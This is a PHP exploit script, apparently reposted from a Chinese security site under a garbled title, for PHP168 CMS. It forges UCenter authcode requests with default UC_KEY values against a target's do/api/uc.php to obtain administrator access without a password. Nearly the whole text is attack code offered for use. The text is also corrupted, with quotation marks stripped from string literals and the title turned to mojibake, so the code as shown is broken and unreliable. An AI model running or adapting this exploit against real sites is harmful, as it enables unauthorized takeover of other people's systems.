벩cmsվϵͳԭPHP168òû½cmsԱ
exp:
 www.2cto.com
 <?php
 error_reporting(0);
 $host = $argv[1];
 $doing = $argv[2];
 
if (empty($doing)) {
 $doing = test;
 $code = time=1577811661&action=.$doing;
 } else {
 $code = time=1577811661&uid=1&username=admin&action=.$doing;
 }
 
$uc_key = array(null => , default => fdsafd43);
 
foreach ($uc_key as $key => $value) {
 $exp = do/api/uc.php?code=.urlencode(authcode($code, ENCODE, $value));
 $result = file_get_contents(http://$host/$exp);
 if( $result == 1 || $result !== Authracation has expiried){
 echo [+] UC_KEY $key can use .\r\n;
 echo [*] EXP = $exp \r\n;
 }
 }
 
function authcode($string, $operation = DECODE, $key = , $expiry = 0) {
 
$ckey_length = 4;
 
$key = md5($key ? $key : UC_KEY);
 $keya = md5(substr($key, 0, 16));
 $keyb = md5(substr($key, 16, 16));
 $keyc = $ckey_length ? ($operation == DECODE ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ;
 
$cryptkey = $keya.md5($keya.$keyc);
 $key_length = strlen($cryptkey);
 
$string = $operation == DECODE ? base64_decode(substr($string, $ckey_length)) : sprintf(%010d, $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
 $string_length = strlen($string);
 
$result = ;
 $box = range(0, 255);
 
$rndkey = array();
 for($i = 0; $i <= 255; $i++) {
 $rndkey[$i] = ord($cryptkey[$i % $key_length]);
 }
 
for($j = $i = 0; $i < 256; $i++) {
 $j = ($j + $box[$i] + $rndkey[$i]) % 256;
 $tmp = $box[$i];
 $box[$i] = $box[$j];
 $box[$j] = $tmp;
 }
 
for($a = $j = $i = 0; $i < $string_length; $i++) {
 $a = ($a + 1) % 256;
 $j = ($j + $box[$a]) % 256;
 $tmp = $box[$a];
 $box[$a] = $box[$j];
 $box[$j] = $tmp;
 $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
 }
 
if($operation == DECODE) {
 if((substr($result, 0, 10) == 0 || substr($result, 0, 10) C time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
 return substr($result, 26);
 } else {
 return ;
 }
 } else {
 return $keyc.str_replace(=, , base64_encode($result));
 }
 
}
